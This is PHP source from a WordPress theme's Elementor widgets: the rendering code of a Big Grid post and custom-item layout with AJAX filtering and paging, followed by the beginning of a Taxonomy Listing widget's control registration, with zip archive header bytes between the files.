		$sameh_mobile      = $settings['sameh_mobile'] ? $settings['sameh_mobile'] : '';
		$thumb_size        = $settings['thumb_size'] ? $settings['thumb_size'] : 'penci-masonry-thumb';
		$bthumb_size       = $settings['bthumb_size'] ? $settings['bthumb_size'] : 'penci-full-thumb';
		$mthumb_size       = $settings['mthumb_size'] ? $settings['mthumb_size'] : 'penci-masonry-thumb';
		$title_length      = $settings['title_length'] ? $settings['title_length'] : '';
		$readmore_icon     = $settings['readmore_icon'] ? $settings['readmore_icon'] : '';
		$readmore_icon_pos = $settings['readmore_icon_pos'] ? $settings['readmore_icon_pos'] : 'right';
		$formaticon_pos    = $settings['formaticon_pos'] ? $settings['formaticon_pos'] : 'top-right';
		$reviewpie_pos     = $settings['reviewpie_pos'] ? $settings['reviewpie_pos'] : 'top-left';

		$wrapper_class   = $data_class = '';
		$flag_style      = false;
		$clear_fix_class = 'penci-clearfix ';
		if ( $biggid_style == 'style-1' ) {
			$data_class .= ' penci-dflex';
		} else {
			$data_class .= ' penci-dblock';
		}

		if ( ! in_array( $biggid_style, array( 'style-1', 'style-2' ) ) ) {
			$flag_style    = true;
			$data_class    .= ' penci-fixh';
			$bgcontent_pos = 'on';
		}

		if ( 'style-1' == $biggid_style || 'style-2' == $biggid_style ) {
			$bg_columns        = $settings['bg_columns'] ? $settings['bg_columns'] : '3';
			$bg_columns_tablet = $settings['bg_columns_tablet'] ? $settings['bg_columns_tablet'] : '';
			$bg_columns_mobile = $settings['bg_columns_mobile'] ? $settings['bg_columns_mobile'] : '1';
			$wrapper_class     .= ' penci-grid-col-' . $bg_columns;
			if ( $bg_columns_tablet ) {
				$wrapper_class .= ' penci-grid-tcol-' . $bg_columns_tablet;
			}
			$wrapper_class .= ' penci-grid-mcol-' . $bg_columns_mobile;
		}

		$wrapper_class .= ' penci-bgrid-based-' . $biggid_type . ' penci-bgrid-' . $biggid_style . ' pcbg-ficonpo-' . $formaticon_pos . ' pcbg-reiconpo-' . $reviewpie_pos . ' penci-bgrid-content-' . $bgcontent_pos . ' pencibg-imageh-' . $image_hover . ' pencibg-texth-' . $text_overlay . ' pencibg-textani-' . $text_overlay_ani;
		if ( $flag_style && 'yes' == $onecol_mobile ) {
			$wrapper_class .= ' penci-bgrid-monecol';
		}
		if ( $flag_style && 'yes' == $sameh_mobile ) {
			$wrapper_class .= ' penci-bgrid-msameh';
		}

		if ( 'yes' == $settings['title_anivisi'] ) {
			$wrapper_class .= ' pcbg-titles-visible';
		}

		if ( 'yes' == $settings['apply_spe_bg_subtitle'] ) {
			$wrapper_class .= ' pcbg-mask-subtitle';
		}

		if ( 'yes' == $settings['apply_spe_bg_title'] ) {
			$wrapper_class .= ' pcbg-mask-title';
		}

		if ( 'yes' == $settings['apply_spe_bg_meta'] ) {
			$wrapper_class .= ' pcbg-mask-meta';
		}

		if ( in_array( $text_overlay_ani, array( 'movetop', 'movebottom', 'moveleft', 'moveright' ) ) ) {
			$wrapper_class .= ' textop';
		} else {
			$wrapper_class .= ' notextop';
		}

		if ( 'yes' == $settings['hide_subtitle_mobile'] ) {
			$wrapper_class .= ' hide-msubtitle';
		}
		if ( 'yes' == $settings['hide_desc_mobile'] ) {
			$wrapper_class .= ' hide-mdesc';
		}
		if ( 'yes' == $settings['hide_excerpt_mobile'] ) {
			$wrapper_class .= ' hide-mexcerpt';
		}
		if ( 'yes' == $settings['hide_readmore_mobile'] ) {
			$wrapper_class .= ' hide-mreadmorebt';
		}
		if ( 'yes' == $settings['ver_border'] && 'style-1' == $biggid_style ) {
			$wrapper_class .= ' pcbg-verbd';
		}

		if ( isset( $settings['paywall_heading_text_style'] ) ) {
			$wrapper_class .= ' pencipw-hd-' . $settings['paywall_heading_text_style'];
		}

		$big_items           = penci_big_grid_is_big_items( $biggid_style );
		$block_id            = 'pcblock-' . rand( 0, 9999 );
		$settings['blockid'] = $block_id;
		add_action( 'penci_block_title_extra_' . $block_id, function () use ( $settings ) {
			$link_group_cats   = $settings['biggrid_ajaxfilter_cat'];
			$link_group_tags   = $settings['biggrid_ajaxfilter_tag'];
			$link_group_author = $settings['biggrid_ajaxfilter_author'];
			$link_group_out    = $link_group_out_before = $link_group_out_after = '';

			$data_settings_tabs          = array();
			$data_settings_tabs['query'] = Query_Control::get_query_args( 'posts', $settings );;
			$data_settings_tabs['style']              = $settings['style'];
			$data_settings_tabs['overlay_type']       = $settings['overlay_type'];
			$data_settings_tabs['bgcontent_pos']      = $settings['bgcontent_pos'];
			$data_settings_tabs['content_display']    = $settings['content_display'];
			$data_settings_tabs['disable_lazy']       = $settings['disable_lazy'];
			$data_settings_tabs['image_hover']        = $settings['image_hover'];
			$data_settings_tabs['text_overlay']       = $settings['text_overlay'];
			$data_settings_tabs['text_overlay_ani']   = $settings['text_overlay_ani'];
			$data_settings_tabs['thumb_size']         = $settings['thumb_size'];
			$data_settings_tabs['bthumb_size']        = $settings['bthumb_size'];
			$data_settings_tabs['mthumb_size']        = $settings['mthumb_size'];
			$data_settings_tabs['bg_postmeta']        = $settings['bg_postmeta'];
			$data_settings_tabs['primary_cat']        = $settings['primary_cat'];
			$data_settings_tabs['show_readmore']      = $settings['show_readmore'];
			$data_settings_tabs['excerpt_length']     = $settings['excerpt_length'];
			$data_settings_tabs['hide_cat_small']     = $settings['hide_cat_small'];
			$data_settings_tabs['hide_meta_small']    = $settings['hide_meta_small'];
			$data_settings_tabs['hide_excerpt_small'] = $settings['hide_excerpt_small'];
			$data_settings_tabs['hide_rm_small']      = $settings['hide_rm_small'];
			$data_settings_tabs['title_length']       = $settings['title_length'];
			$data_settings_tabs['readmore_icon']      = $settings['readmore_icon'];
			$data_settings_tabs['show_formaticon']    = $settings['show_formaticon'];
			$data_settings_tabs['show_reviewpie']     = $settings['show_reviewpie'];
			$data_settings_tabs['readmore_icon_pos']  = $settings['readmore_icon_pos'];

			$ppp = $settings['posts_per_page'];

			if ( 'current_query' == $settings['posts_post_type'] ) {
				$paged = ( get_query_var( 'paged' ) ) ? get_query_var( 'paged' ) : 1;
				$ppp   = isset( $settings['arposts_per_page'] ) && $settings['arposts_per_page'] ? $settings['arposts_per_page'] : $ppp;
			}

			$link_group_out_before .= '<nav data-number="' . $ppp . '" data-query_type="ajaxtab" data-layout="' . esc_attr( $settings['style'] ) . '" data-settings="' . htmlentities( json_encode( $data_settings_tabs ), ENT_QUOTES, "UTF-8" ) . '" data-more="' . esc_attr( $settings['group_more_link_text'] ) . '" class="pcnav-lgroup"><ul class="pcflx">';
			$link_group_out_after  = '</ul></nav>';

			$has_link = false;

			if ( is_array( $link_group_cats ) ) {
				$has_link = true;
				foreach ( $link_group_cats as $link_cat ) {
					$element_id = 'link-wrapper-cat-' . $link_cat;
					$this->add_render_attribute( $element_id, 'href', '#' );
					if ( $link_cat ) {
						$this->add_render_attribute( $element_id, 'data-cat', $link_cat );
					}
					$this->add_render_attribute( $element_id, 'data-id', md5( 'cat-link-' . $link_cat ) );
					$this->add_render_attribute( $element_id, 'data-paged', 1 );
					$this->add_render_attribute( $element_id, 'class', 'pc-ajaxfil-link' );
					$link_group_out .= '<li><a ' . $this->get_render_attribute_string( $element_id ) . '>' . get_term_field( 'name', $link_cat ) . '</a></li>';
				}
			}

			if ( is_array( $link_group_tags ) ) {
				$has_link = true;
				foreach ( $link_group_tags as $link_tag ) {
					$element_id = 'link-wrapper-tag-' . $link_tag;
					$this->add_render_attribute( $element_id, 'href', '#' );
					if ( $link_tag ) {
						$this->add_render_attribute( $element_id, 'data-tag', $link_tag );
					}
					$this->add_render_attribute( $element_id, 'data-id', md5( 'tag-link-' . $link_tag ) );
					$this->add_render_attribute( $element_id, 'data-paged', 1 );
					$this->add_render_attribute( $element_id, 'class', 'pc-ajaxfil-link' );
					$link_group_out .= '<li><a ' . $this->get_render_attribute_string( $element_id ) . '>' . get_term_field( 'name', $link_tag ) . '</a></li>';
				}
			}

			if ( is_array( $link_group_author ) ) {
				$has_link = true;
				foreach ( $link_group_author as $author ) {
					$element_id = 'link-wrapper-author-' . $author;
					$this->add_render_attribute( $element_id, 'href', get_the_author_meta( 'url', $author ) );
					if ( $author ) {
						$this->add_render_attribute( $element_id, 'data-author', $author );
					}
					$this->add_render_attribute( $element_id, 'data-id', md5( 'author-link-' . $author ) );
					$this->add_render_attribute( $element_id, 'data-paged', 1 );
					$this->add_render_attribute( $element_id, 'class', 'pc-ajaxfil-link' );
					$link_group_out .= '<li><a ' . $this->get_render_attribute_string( $element_id ) . '>' . get_the_author_meta( 'nicename', $author ) . '</a></li>';
				}
			}

			if ( 'nextprev' == $settings['paging'] ) {
				$link_group_out .= '</ul><ul class="pcflx-nav">';
				$link_group_out .= '<li class="pcaj-nav-item pcaj-prev"><a class="disable pc-ajaxfil-link pcaj-nav-link prev" data-id="" href="#" aria-label="Previous"><i class="penciicon-left-chevron"></i></a></li>';
				$link_group_out .= '<li class="pcaj-nav-item pcaj-next"><a class="pc-ajaxfil-link pcaj-nav-link next" data-id="" href="#" aria-label="Next"><i class="penciicon-right-chevron"></i></a></li>';
			}

			if ( $link_group_out ) {
				$first_class           = $has_link ? 'visible' : 'hidden-item';
				$link_group_out_before .= '<li class="all ' . $first_class . '"><a data-paged="1" class="pc-ajaxfil-link current-item" data-id="default" href="#" aria-label="Paged">' . $settings['group_more_defaultab_text'] . '</a></li>';
				wp_enqueue_script( 'penci_ajax_filter_bg' );
				echo $link_group_out_before . $link_group_out . $link_group_out_after;
			}
		} );
		?>
        <div class="penci-clearfix penci-biggrid-wrapper<?php echo $wrapper_class; ?>">
			<?php $this->markup_block_title( $settings, $this ); ?>
            <div class="penci-clearfix penci-biggrid penci-bg<?php echo $biggid_style; ?> penci-bgel">
                <div class="penci-biggrid-inner default">
					<?php
					$bg = 1;
					if ( 'post' == $biggid_type ) {
						$post_meta          = $settings['bg_postmeta'] ? $settings['bg_postmeta'] : array();
						$primary_cat        = $settings['primary_cat'] ? $settings['primary_cat'] : '';
						$show_readmore      = $settings['show_readmore'] ? $settings['show_readmore'] : '';
						$hide_cat_small     = $settings['hide_cat_small'] ? $settings['hide_cat_small'] : '';
						$hide_meta_small    = $settings['hide_meta_small'] ? $settings['hide_meta_small'] : '';
						$hide_excerpt_small = $settings['hide_excerpt_small'] ? $settings['hide_excerpt_small'] : '';
						$hide_rm_small      = $settings['hide_rm_small'] ? $settings['hide_rm_small'] : '';
						$show_formaticon    = $settings['show_formaticon'] ? $settings['show_formaticon'] : '';
						$show_reviewpie     = $settings['show_reviewpie'] ? $settings['show_reviewpie'] : '';
						$excerpt_length     = $settings['excerpt_length'] ? $settings['excerpt_length'] : 10;
						$paging             = $settings['paging'] ? $settings['paging'] : 'none';
						$paging_align       = $settings['paging_align'] ? $settings['paging_align'] : 'align-center';
						$original_postype   = $settings['posts_post_type'];

						if ( in_array( $original_postype, [
								'current_query',
								'related_posts'
							] ) && penci_elementor_is_edit_mode() && penci_is_builder_template() ) {
							$settings['posts_post_type'] = 'post';
						}
						$archive_buider_check = $settings['posts_post_type'];

						$args          = Query_Control::get_query_args( 'posts', $settings );

						if ( 'numbers' == $paging ) {
							$args['paged'] = max( get_query_var( 'paged' ), get_query_var( 'page' ), 1 );
						}
						
						$ppp           = $settings['posts_per_page'] ? $settings['posts_per_page'] : get_option( 'posts_per_page' );
						if ( in_array( $original_postype, [ 'current_query', 'related_posts' ] ) ) {
							$paged = ( get_query_var( 'paged' ) ) ? get_query_var( 'paged' ) : 1;
							if ( 'current_query' == $original_postype ) {
								$ppp = isset( $settings['arposts_per_page'] ) && $settings['arposts_per_page'] ? $settings['arposts_per_page'] : $ppp;
							}
							$offset = 0;

							if ( $ppp ) {
								$args['posts_per_page'] = $ppp;
							}
							if ( isset( $settings['arposts_new'] ) && $settings['arposts_new'] == 'yes' ) {
								$args['paged'] = 1;
							}
							if ( 0 < $settings['offset'] ) {
								$offset = $settings['offset'];
							}

							if ( ! empty( $settings['offset'] ) && $paged > 1 ) {
								$offset = $settings['offset'] + ( ( $paged - 1 ) * $ppp );
							}

							if ( $offset ) {
								$args['offset'] = $offset;
							}
						}

						$query_custom = new \WP_Query( $args );

						if ( ! $query_custom->have_posts() ) {
							echo $this->show_missing_settings( 'Big Grid', penci_get_setting( 'penci_ajaxsearch_no_post' ) );
						}

						if ( $query_custom->have_posts() ) {
							$num_posts = $query_custom->post_count;
							//$number_each = penci_big_grid_count_item( $biggid_style );
							if ( $flag_style ) {
								echo '<div class="penci-big-grid-ajax-data">';
							}

							$maxp_out = '';

							if ( 'nextprev' == $settings['paging'] ) {
								$maxp_out = 'data-maxp="' . $query_custom->max_num_pages . '" ';
							}

							echo '<div ' . $maxp_out . 'class="penci-clearfix penci-biggrid-data' . $data_class . '">';
							while ( $query_custom->have_posts() ) : $query_custom->the_post();
								$hide_cat_small_flag = $hide_meta_small_flag = $hide_rm_small_flag = $hide_excerpt_small_flag = false;
								$is_big_item         = '';
								$surplus             = penci_big_grid_count_classes( $bg, $biggid_style, true );
								$thumbnail           = $thumb_size;
								if ( ! empty( $big_items ) && in_array( $surplus, $big_items ) ) {
									$thumbnail   = $bthumb_size;
									$is_big_item = ' pcbg-big-item';
								}
								if ( penci_is_mobile() ) {
									$thumbnail = $mthumb_size;
								}

								if ( ! $is_big_item ) {
									if ( 'yes' == $hide_cat_small ) {
										$hide_cat_small_flag = true;
									}
									if ( 'yes' == $hide_meta_small ) {
										$hide_meta_small_flag = true;
									}
									if ( 'yes' == $hide_excerpt_small ) {
										$hide_excerpt_small_flag = true;
									}
									if ( 'yes' == $hide_rm_small ) {
										$hide_rm_small_flag = true;
									}
								}

								if ( 'style-1' == $biggid_style || 'style-2' == $biggid_style ) {
									$hide_cat_small_flag = $hide_meta_small_flag = $hide_rm_small_flag = $hide_excerpt_small_flag = false;
								}
								include dirname( __FILE__ ) . "/based-post.php";

								if ( $flag_style && $surplus == 0 && $bg < $num_posts ) {
									echo '</div><div class="penci-clearfix penci-biggrid-data' . $data_class . '">';
								}

								$bg ++;
							endwhile;
							echo '</div>';

							if ( $flag_style ) {
								echo '</div>';
							}

							if ( 'loadmore' == $paging || 'scroll' == $paging ) {
								$data_settings                       = array();
								$data_settings['query']              = $args;
								$data_settings['query_id']           = isset($settings['query_id']) ? $settings['query_id'] : 'all';
								$data_settings['style']              = $biggid_style;
								$data_settings['overlay_type']       = $overlay_type;
								$data_settings['bgcontent_pos']      = $bgcontent_pos;
								$data_settings['content_display']    = $content_display;
								$data_settings['disable_lazy']       = $disable_lazy;
								$data_settings['image_hover']        = $image_hover;
								$data_settings['text_overlay']       = $text_overlay;
								$data_settings['text_overlay_ani']   = $text_overlay_ani;
								$data_settings['thumb_size']         = $thumb_size;
								$data_settings['bthumb_size']        = $bthumb_size;
								$data_settings['mthumb_size']        = $mthumb_size;
								$data_settings['bg_postmeta']        = $post_meta;
								$data_settings['primary_cat']        = $primary_cat;
								$data_settings['show_readmore']      = $show_readmore;
								$data_settings['excerpt_length']     = $excerpt_length;
								$data_settings['hide_cat_small']     = $hide_cat_small;
								$data_settings['hide_meta_small']    = $hide_meta_small;
								$data_settings['hide_excerpt_small'] = $hide_excerpt_small;
								$data_settings['hide_rm_small']      = $hide_rm_small;
								$data_settings['title_length']       = $title_length;
								$data_settings['readmore_icon']      = $readmore_icon;
								$data_settings['show_formaticon']    = $show_formaticon;
								$data_settings['show_reviewpie']     = $show_reviewpie;
								$data_settings['readmore_icon_pos']  = $readmore_icon_pos;
								$data_paged                          = max( get_query_var( 'paged' ), get_query_var( 'page' ), 1 );

								$data_settings_ajax = htmlentities( json_encode( $data_settings ), ENT_QUOTES, "UTF-8" );

								$button_class = ' penci-ajax-more penci-bgajax-more-click';
								if ( 'loadmore' == $paging ):
									wp_enqueue_script( 'penci_bgajax_more_posts' );
								endif;
								if ( 'scroll' == $paging ):
									$button_class = ' penci-ajax-more penci-bgajax-more-scroll';
									wp_enqueue_script( 'penci_bgajax_more_scroll' );
								endif;
								$data_archive_type  = '';
								$data_archive_value = '';
								if ( is_category() ) :
									$category           = get_category( get_query_var( 'cat' ) );
									$cat_id             = isset( $category->cat_ID ) ? $category->cat_ID : '';
									$data_archive_type  = 'cat';
									$data_archive_value = $cat_id;
									$opt_cat            = 'category_' . $cat_id;
									$cat_meta           = get_option( $opt_cat );
									$sidebar_opts       = isset( $cat_meta['cat_sidebar_display'] ) ? $cat_meta['cat_sidebar_display'] : '';
									if ( $sidebar_opts == 'no' ):
										$data_template = 'no-sidebar';
                                    elseif ( $sidebar_opts == 'left' || $sidebar_opts == 'right' ):
										$data_template = 'sidebar';
									endif;

                                elseif ( is_tag() ) :
									$tag                = get_queried_object();
									$tag_id             = isset( $tag->term_id ) ? $tag->term_id : '';
									$data_archive_type  = 'tag';
									$data_archive_value = $tag_id;
                                elseif ( is_day() ) :
									$data_archive_type  = 'day';
									$data_archive_value = get_the_date( 'm|d|Y' );
                                elseif ( is_month() ) :
									$data_archive_type  = 'month';
									$data_archive_value = get_the_date( 'm|d|Y' );
                                elseif ( is_year() ) :
									$data_archive_type  = 'year';
									$data_archive_value = get_the_date( 'm|d|Y' );
                                elseif ( is_search() ) :
									$data_archive_type  = 'search';
									$data_archive_value = get_search_query();
                                elseif ( is_author() ) :

									global $authordata;
									$user_id = isset( $authordata->ID ) ? $authordata->ID : 0;

									$data_archive_type  = 'author';
									$data_archive_value = $user_id;
                                elseif ( is_archive() ) :
									$queried_object = get_queried_object();
									$term_id        = isset( $queried_object->term_id ) ? $queried_object->term_id : '';
									$tax            = get_taxonomy( get_queried_object()->taxonomy );
									$tax_name       = isset( $tax->name ) ? $tax->name : '';

									if ( $term_id && $tax_name ) {
										$data_archive_type  = $tax_name;
										$data_archive_value = $term_id;
									}
								endif;
								?>
                                <div class="pcbg-paging penci-pagination <?php echo 'pcbg-paging-' . $paging_align . $button_class; ?>">
                                    <a class="penci-ajax-more-button" aria-label="More Posts" href="#"
										<?php if ( $data_archive_type && $data_archive_value ): ?>
                                            data-archivetype="<?php echo $data_archive_type; ?>"
                                            data-archivevalue="<?php echo $data_archive_value; ?>"
                                            data-arppp="<?php echo $ppp; ?>"
										<?php endif; ?>
                                       data-query_type="<?php echo $archive_buider_check; ?>"
                                       data-layout="<?php echo $biggid_style; ?>"
                                       data-settings="<?php echo $data_settings_ajax; ?>"
                                       data-pagednum="<?php echo( (int) $data_paged + 1 ); ?>"
                                       data-mes="<?php echo penci_get_setting( 'penci_trans_no_more_posts' ); ?>">
                                        <span class="ajax-more-text"><?php echo penci_get_setting( 'penci_trans_load_more_posts' ); ?></span><span
                                                class="ajaxdot"></span><?php penci_fawesome_icon( 'fas fa-sync' ); ?>
                                    </a>
                                </div>
								<?php
							} elseif ( 'numbers' == $paging ) {
								echo penci_pagination_numbers( $query_custom, $paging_align );
							}
						}
						wp_reset_postdata();

					} else {
						$biggrid_items = $settings['biggrid_items'] ? (array) $settings['biggrid_items'] : array();
						// echo '<pre>';
						// print_r( $biggrid_items );
						// echo '</pre>';
						$num_posts = count( $biggrid_items );
						if ( ! empty( $biggrid_items ) ) {
							echo '<div class="penci-clearfix penci-biggrid-data' . $data_class . '">';
							foreach ( $biggrid_items as $setting ) {
								$is_big_item = '';
								$surplus     = penci_big_grid_count_classes( $bg, $biggid_style, true );
								$thumbnail   = $thumb_size;
								if ( ! empty( $big_items ) && in_array( $surplus, $big_items ) ) {
									$thumbnail   = $bthumb_size;
									$is_big_item = ' pcbg-big-item';
								}
								if ( penci_is_mobile() ) {
									$thumbnail = $mthumb_size;
								}

								/* Get Custom Items Data */
								$item_id     = $setting['_id'] ? ' elementor-repeater-item-' . $setting['_id'] : '';
								$image_data  = $setting['image']['url'] ? $setting['image']['url'] : '';
								$image_url   = penci_get_image_size_url( $image_data, $thumbnail );
								$image_ratio = penci_get_ratio_size_based_url( $image_data );
								$sub_title   = $setting['sub_title'] ? $setting['sub_title'] : '';

								$title           = $setting['title'] ? $setting['title'] : '';
								$title_link      = $setting['title_link']['url'] ? $setting['title_link']['url'] : '';
								$title_external  = $setting['title_link']['is_external'] ? ' target="_blank"' : '';
								$title_nofollow  = $setting['title_link']['nofollow'] ? ' rel="nofollow"' : '';
								$title_attr      = '';
								$title_attr_data = $setting['title_link']['custom_attributes'] ? $setting['title_link']['custom_attributes'] : '';
								if ( $title_attr_data ) {
									$title_attr = $this->get_data_link( $title_attr_data );
								}

								$desc = $setting['desc'] ? $setting['desc'] : '';

								$button_text      = $setting['button_text'] ? $setting['button_text'] : '';
								$button_link      = $setting['button_link']['url'] ? $setting['button_link']['url'] : '';
								$button_external  = $setting['button_link']['is_external'] ? ' target="_blank"' : '';
								$button_nofollow  = $setting['button_link']['nofollow'] ? ' rel="nofollow"' : '';
								$button_attr      = '';
								$button_attr_data = $setting['button_link']['custom_attributes'] ? $setting['button_link']['custom_attributes'] : '';
								if ( $button_attr_data ) {
									$button_attr = $this->get_data_link( $button_attr_data );
								}

								include dirname( __FILE__ ) . "/custom.php";

								if ( $flag_style && $surplus == 0 && $bg < $num_posts ) {
									echo '</div><div class="penci-clearfix penci-biggrid-data' . $data_class . '">';
								}

								$bg ++;
							}
							echo '</div>';
						}
					}
					?>
                </div>
				<?php
				if ( $settings['biggrid_ajaxfilter_cat'] || $settings['biggrid_ajaxfilter_tag'] || $settings['biggrid_ajaxfilter_author'] || 'nextprev' == $settings['paging'] ) {
					echo penci_get_html_animation_loading( $settings['biggrid_ajax_loading_style'] );
				} ?>
            </div>
        </div>
		<?php
	}

	public static function show_missing_settings( $label, $mess ) {
		$output = '';
		if ( current_user_can( 'manage_options' ) ) {
			$output .= '<div class="penci-missing-settings">';
			$output .= '<p style="margin-bottom: 4px;">This message appears for administrator users only</p>';
			$output .= '<span>' . $label . '</span>';
			$output .= $mess;
			$output .= '</div>';
		}

		return $output;
	}

	public function get_data_link( $attr ) {
		$output = '';
		if ( $attr ) {
			$attr     = str_replace( ' ', '', $attr );
			$attr_all = explode( ',', $attr );
			foreach ( $attr_all as $data ) {
				$attr_each = explode( '|', $data );
				if ( $attr_each[0] && $attr_each[1] ) {
					$output .= ' ' . $attr_each[0] . '="' . $attr_each[1] . '"';
				}
			}
		}

		return $output;
	}
}
PK     N\uf+  +  7  inc/elementor/modules/penci-category-listing/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciCategoryListing;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci-category-listing';
	}

	public function get_widgets() {
		return array( 'PenciCategoryListing' );
	}
}
PK     N\    O  inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciCategoryListing\Widgets;

use Elementor\Controls_Manager;
use Elementor\Group_Control_Background;
use Elementor\Group_Control_Typography;
use PenciSoledadElementor\Base\Base_Widget;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciCategoryListing extends Base_Widget {

	public function get_name() {
		return 'penci-category-listing';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Taxonomy Listing', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-gallery-grid';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'category', 'post' );
	}

	public function get_script_depends() {
		return [];
	}

	protected function register_controls() {


		// Section layout
		$this->start_controls_section( 'section_general', array(
			'label' => esc_html__( 'General', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );

		$post_taxonomies = get_object_taxonomies( 'post' );
		$post_tax        = [];
		$post_tax['']    = 'Select';
		foreach ( $post_taxonomies as $tname ) {
			$labels             = get_taxonomy( $tname );
			$post_tax[ $tname ] = $labels->label;
		}

		foreach ( penci_get_published_posttypes() as $type ) {

			$type_data = get_object_taxonomies( $type );
			if ( is_array( $type_data ) ) {
				foreach ( $type_data as $type_name ) {
					$labels                 = get_taxonomy( $type_name );
					$post_tax[ $type_name ] = $labels->label;
				}
			}
		}

		$this->add_control( 'term_name', [
			'label'   => 'Taxonomies',
			'type'    => \Elementor\Controls_Manager::SELECT,
			'options' => $post_tax,
			'default' => 'category',
		] );

		$this->add_control( 'taxonomies_ex', [
			'label'       => esc_html__( 'Select the Excluded Taxonomies Terms.', 'soledad' ),
			'type'        => 'penci_el_autocomplete',
			'search'      => 'penci_get_taxonomies_by_query',
			'render'      => 'penci_get_taxonomies_title_by_id',
			'taxonomy'    => get_object_taxonomies( 'post' ),
			'multiple'    => true,
			'label_block' => true,
		] );

		$this->add_control( 'orderby', [
			'label'   => esc_html__( 'Order By', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'name',
			'options' => [
				'name'       => 'Name',
				'slug'       => 'Slug',
				'term_id'    => 'ID',
				'term_order' => 'Term Order',
				'count'      => 'Posts Count',
			],
		] );

		$this->add_control( 'order', [
			'label'   => esc_html__( 'Order', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'ASC',
			'options' => [
				'DESC' => 'DESC',
				'ASC'  => 'ASC',
			],
		] );

		$this->add_control( 'number', [
			'label'   => esc_html__( 'Limit Terms to Show', 'soledad' ),
			'type'    => Controls_Manager::NUMBER,
			'default' => get_option( 'posts_per_page' ),
		] );

		$this->add_control( 'hide_empty', array(
			'label'        => __( 'Hide Empty Items', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => '',
		) );

		$this->add_control( 'hierarchical', array(
			'label'        => __( 'Hierarchical', 'soledad' ),
			'description'  => __( 'Whether to include terms that have non-empty descendants (even if "Hide Empty Items" is set to "Yes").', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => '',
		) );

		$this->add_control( 'style', array(
			'label'   => __( 'Display Style', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'style-1',
			'options' => array(
				'style-1'  => esc_html__( 'Grid ( Default )', 'soledad' ),
				'style-2'  => esc_html__( 'Masonry', 'soledad' ),
				'style-3'  => esc_html__( 'Style 3', 'soledad' ),
				'style-4'  => esc_html__( 'Style 4', 'soledad' ),
				'style-5'  => esc_html__( 'Style 5', 'soledad' ),
				'style-6'  => esc_html__( 'Style 6', 'soledad' ),
				'style-7'  => esc_html__( 'Style 7', 'soledad' ),
				'style-8'  => esc_html__( 'Style 8', 'soledad' ),
				'style-9'  => esc_html__( 'Style 9', 'soledad' ),
				'style-10' => esc_html__( 'Style 10', 'soledad' ),
				'style-11' => esc_html__( 'Style 11', 'soledad' ),
				'style-12' => esc_html__( 'Style 12', 'soledad' ),
				'style-13' => esc_html__( 'Style 13', 'soledad' ),
				'style-14' => esc_html__( 'Style 14', 'soledad' ),
				'style-15' => esc_html__( 'Style 15', 'soledad' ),
				'style-16' => esc_html__( 'Style 16', 'soledad' ),
				'style-17' => esc_html__( 'Style 17', 'soledad' ),
				'style-18' => esc_html__( 'Style 18', 'soledad' ),
				'style-19' => esc_html__( 'Style 19', 'soledad' ),
				'style-20' => esc_html__( 'Style 20', 'soledad' ),
				'style-21' => esc_html__( 'Style 21', 'soledad' ),
				'style-22' => esc_html__( 'Style 22', 'soledad' ),
			)
		) );

		$this->add_control( 'bg_columns', array(
			'label'     => __( 'Grid/Masonry Style Columns', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => '3',
			'options'   => array(
				'1' => esc_html__( '1 Column', 'soledad' ),
				'2' => esc_html__( '2 Columns', 'soledad' ),
				'3' => esc_html__( '3 Columns', 'soledad' ),
				'4' => esc_html__( '4 Columns', 'soledad' ),
				'5' => esc_html__( '5 Columns', 'soledad' ),
				'6' => esc_html__( '6 Columns', 'soledad' )
			),
			'condition' => array( 'style' => array( 'style-1', 'style-2' ) ),
		) );

		$this->add_control( 'bg_columns_tablet', array(
			'label'     => __( 'Grid/Masonry Style Columns on Tablet', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => '',
			'options'   => array(
				''  => esc_html__( 'Default', 'soledad' ),
				'1' => esc_html__( '1 Column', 'soledad' ),
				'2' => esc_html__( '2 Columns', 'soledad' ),
				'3' => esc_html__( '3 Columns', 'soledad' ),
				'4' => esc_html__( '4 Columns', 'soledad' ),
			),
			'condition' => array( 'style' => array( 'style-1', 'style-2' ) ),
		) );

		$this->add_control( 'bg_columns_mobile', array(
			'label'     => __( 'Grid/Masonry Style Columns on Mobile', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => '1',
			'options'   => array(
				'1' => esc_html__( '1 Column', 'soledad' ),
				'2' => esc_html__( '2 Columns', 'soledad' ),
				'3' => esc_html__( '3 Columns', 'soledad' ),
			),
			'condition' => array( 'style' => array( 'style-1', 'style-2' ) ),
		) );

		$this->add_control( 'bg_postmeta', array(
			'label'    => __( 'Showing Term Data', 'soledad' ),
			'type'     => Controls_Manager::SELECT2,
			'default'  => array( 'name', 'count' ),
			'multiple' => true,
			'options'  => array(
				'name'  => esc_html__( 'Name', 'soledad' ),
				'desc'  => esc_html__( 'Description', 'soledad' ),
				'count' => esc_html__( 'Posts Count', 'soledad' ),
			),
		) );

		$this->add_control( 'hide_meta_small', array(
			'label'        => __( 'Hide Term Meta on Small Grid Items', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => '',
			'condition'    => array(
				'style!'       => array( 'style-1', 'style-2' ),
				'bgquery_type' => 'post'
			),
		) );

